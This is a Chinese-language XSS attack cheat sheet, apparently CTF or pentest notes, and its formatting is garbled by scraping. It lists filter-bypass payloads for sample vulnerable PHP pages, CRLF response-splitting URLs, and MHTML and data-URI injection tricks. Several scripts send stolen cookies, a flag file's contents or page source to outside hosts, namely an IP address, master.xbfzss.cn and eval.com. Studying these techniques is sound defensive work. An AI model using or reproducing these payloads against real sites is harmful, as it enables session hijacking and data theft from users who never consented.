link 标签引入外部 js。
1 2 3
| 也可以用域名,将 . 用 。 代替。 <link rel=import href=\\八进制ip <link/rel=import href=https:\\d7cb7b72.w1n.pw\background.html>
|
1 2 3 4 5 6 7
| <script> var xhr = new XMLHttpRequest(); xhr.open("GET", "https://router.vip/flag.php", false); xhr.send(); a=xhr.responseText; location.href='https://master.xbfzss.cn/?a='+escape(a); </script>
|
xss:
jquery版本>=1.9
sourceMappingURL加载外部资源
1 2 3
| <input name=keyword value="<scrilpt>alert(1);</script>"> payload:" onmouseover=alert(1) " <input name=keyword value="" onmouseover=alert(1) "">
|
1 2 3
| <input name=keyword value=''> payload:' onmouseover=alert(1) ' <input name=keyword value=' onmouseover=alert(1) ''>
|
1 2 3 4 5 6
| <input name=keyword value=""> 过滤了on <input name=keyword value="" o_nclick=alert(1) "">
payload:"><a href="javascript:alert(1)" >as</a> <input name=keyword value=""><a href="javascript:alert(1)" ></a>">
|
1 2 3 4 5 6
| <input name=keyword value=""> 过滤了on <input name=keyword value="" o_nclick=alert(1) "">
payload:"><a href="javascript:alert(1)" >as</a> <input name=keyword value=""><a href="javascript:alert(1)" ></a>">
|
空格可以使用%0a,%0d绕过
= onmouseover=alert`1`
alert(1) 两边的括号可以使用
替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <html> <script type="text/javascript"> var call_window; call_window = window.open("http://localhost/call.php"); setTimeout(function(){ call_window.postMessage({ type: "audio", details: { sender_username: "<img src=xx: onerror=window.open('http://123.207.90.143/index.php?a='+document.cookie)>", sender_team_name: "zzzz", receiver_username: "test", receiver_team_name: "test" } }, "*"); }, 1000); </script> </html>
|
CRLF 注射攻击(HTTP ResponseSplitting)(HRS)
1 2
| nameValueCollection request = Request.QueryString; Response.Cookies["username"].Value = request["text"]
|
正常访问:
http://www.test.com/demo.aspx?text=test
正常情况下,会使用text=test来setcookie
payload:
http://www.test.com/demo.aspx?text=a%0D%0ASet-Cookie%03A020HackedCookie=Hacked
正常情况下:HTTP Response如下:
HTTP/1.1 200 OK
Set-Cookie: userName=test
Content-Type: text/html; charset-utf-8
使用payload的情况下:
HTTP/1.1 200 OK
Set-Cookie: username=a
Set-Cookie: HackedCookie=Hacked
Content-Type: text/html; charset-utf8
更严重的情况下:
payload:
http://www.test.com/page.php?page=%0d%0aContent-Type: text/html%0D%0AHTTP/1.1 200 OK %0D%0AContent-Type: text/html%0D%0A%0D%0A%3Chtml%3EHacker Content%3C/html%3E
该代码明显恶意,但是浏览器也会执行。
MHTML协议安全[IE浏览器]
MHTML协议格式:
mhtml: [Mhtml_File_Url]![Original_Resource_Url]
新建一个HTML文件,demo.html
1 2 3 4 5 6 7 8
| Content-Type: multipart/related; boundary="_boundary_by_mere"
--_boundary_by_mere Cotent-Location: demo Content-Transfer-Encoding: base64
PHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ= --_boundary_by_mere--
|
当使用如下链接进行访问的时候,就会弹窗:
mhtml:http://127.0.0.1/demo.html!demo
注意:为了让IE调用MHTML Protocol Handler将该资源当做MHTML格式文件解析处理,需要把URL修改为MHTML协议,在”http”之前加上”mhtml:”,在url后边加上”!demo”字样。
此外,还可以结合CRLF漏洞实现XSS。
首先PHP脚本如下(test.php):
1 2 3
| <?php echo $_GET['k']; ?>
|
构造url:
mhtml:http://127.0.0.1/test.php?k=ax%250AContent-Type%3A%20multipart%2frelated%3B%20boundary%3D%22_boundary_by_mere%22%250D%250A--_boundary_by_mere%250D%250ACotent-Location%3A%20xss%250D%250AContent-Transfer-Encoding%3A%20base64%250D%250A%250D%250APHNjcmlwdD5hbGVydCgneHNzJyk7PC9zY3JpcHQ%3D%250D%250A--_boundary_by_mere--!xss
利用Data URIs进行XSS
该方案和MHTML有些类似。Data URI格式如下:
data:[][;charset=][;base64],
data指代URI协议
mime type 代表数据类型,如PNG图片则为image/png,若无说明,默认为text/plain
charset 如果不适用base64,则使用charset指定的字符类型
encoded data 对应的编码信息
例如:
1 2 3 4 5 6
| <img src="data:image/gif;base64,R0lGODlhMwAxAIAAAAAAAP/// yH5BAAAAAAALAAAAAAzADEAAAK8jI+pBr0PowytzotTtbm/DTqQ6C3hGX ElcraA9jIr66ozVpM3nseUvYP1UEHF0FUUHkNJxhLZfEJNvol06tzwrgd LbXsFZYmSMPnHLB+zNJFbq15+SOf50+6rG7lKOjwV1ibGdhHYRVYVJ9Wn k2HWtLdIWMSH9lfyODZoZTb4xdnpxQSEF9oyOWIqp6gaI9pI1Qo7BijbF ZkoaAtEeiiLeKn72xM7vMZofJy8zJys2UxsCT3kO229LH1tXAAAOw==">
|
XSS隐患,执行XSS最常用的方法是引入修正为,由于该特性只是按照标签配对,没有考虑HTML注释或其他复杂情况,会导致xss.
img编码绕过
1 2 3
| <img src="" onerror="javascript:alert('xss');"> <img src="" onerror="javascript:alert('xss1');"> <img src="" onerror=" javascript:alert('xss3');">
|
a绕过,javascript伪协议
1
| "><a href="javascript:alert(1)">click me</a><"
|
body和div
1 2
| "><body onload=alert(1)><" "><div onclick="alert('xss')">click me<"
|
过滤括号
1 2 3 4 5 6 7
| <?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>
|
1 2
| "><body onload=alert`1`><" " onfocus=alert`1` "
|
过滤',",' '
有时候用斜杠是可以代替空格的
1 2 3 4 5 6 7 8
| <?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace(' ', '', $str); echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?
|
1 2 3
| "/onfocus=alert`1`/" "><img/src='1'/onerror=alert`0`><" "><<svg/onload=alert`1`><"
|
过滤尖括号里边的所有东西
1 2 3 4 5
| <?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); $str = preg_replace("/<.*?>/", '', $str); echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?
|
1 2 3 4 5
| " type=image src=x onerror=alert(1) " => <input type=image src=x onerror=alert(1)> input会被当做img标签使用
"/onfocus=alert`1`/" => 不会自动触发
|
js中的连接符
1 2 3 4
| <?php ini_set("display_errors", 0); $name = $_GET["name"]; echo '<h3 class="main">No results for "<b>'; echo htmlspecialchars($name).'</b>"</h3>'; echo ' <script> var t="'.$name.'"; var s="xxxxxxxx"; var d="dddd"; </script>'; ?>
|
1 2 3 4
| 这里就是一个新的输出点了,你的值是输出在js代码中的 只要闭合双引号,然后就可以写你自己的js代码了 比如 "-alert(1)-" 赋值给url中的name即可 -是js中的连接符号
name=";alert(1);//
|
危险字符
< |
< |
> |
|1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| | & | ```&``` | | " | ```"``` | | ' | ```'``` |
## Dom-Based XSS
> document.URL > > document.URLUencoded > > document.location(.pathname|.href|.search|.hash) > > window.location(.pathname|.href|.search|.hash) > > document.referrer > > window.name > > document.cookie > > HTML5 postMessage > > localStorage/globalStorage > > XMLHTTPRequest response > > Input.value
## htmlspecialchars可绕过情况
|
|
echo “Please input the t1 as parameter”;
$str = ‘ onmouseover=alert(1) > //
1 2
| 因为htmlspecialchars默认只过滤`<`,`>`, `"`,`&`,默认为`ENT_COMPAT`
|
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
echo “Please input the t1 as parameter”;
$str = ‘ onmouseover=alert(1) //
=> 源码:
<input type=”text” value=’\’ onmouseover=alert(1) //‘>Please input the t2 as parameter
=> 浏览器处理结果:
1 2 3 4
| 在火狐里边也能触发,如果去掉 `//` 则无法触发,应该是`//` 注释掉了后边的单引号,浏览器处理出现问题
如果使用以上 payload,浏览器最终结果:
|
$str = ‘ onmouseover=alert(1) //
=> 源码:
<input type=”text” value=’\’ onmouseover=alert(1)’>Please input the t2 as parameter
=> 浏览器处理结果:
<input type=”text” value=’\’ onmouseover=alert(1)’>Please input the t2 as parameter
1 2 3 4 5 6
| 这时候,就无法触发alert。
paylaod2:
这个payload只能在编码为gbk的情况下才能使用。
|
%df’> //
echo ‘Please input the t1 as parameter’;
“ onmouseover=alert(1) //
1 2 3 4 5 6 7 8 9 10 11 12
| ## xsspayload:
`<img src=//eval.com:2222>`
`<svg onload=prompt(/xss/)>`
`<embed/src=//goo.gl/nlX0P>`
`<marquee/onstart=confirm(2)>`
## xss 读源码
|
function send(e) {
var t = new XMLHttpRequest;
t.open(“POST”, “//eval.com:2017”, !0),
t.setRequestHeader(“Content-type”, “text/plain”),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.send(e);
}
function getsource(src){
var t = new XMLHttpRequest;
t.open(“GET”, src, !0),
t.setRequestHeader(“Content-type”, “text/plain”),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.onload=function(e){
send(e.target.responseText);
}
t.send();
}
getsource(“/home/publiclist”);
`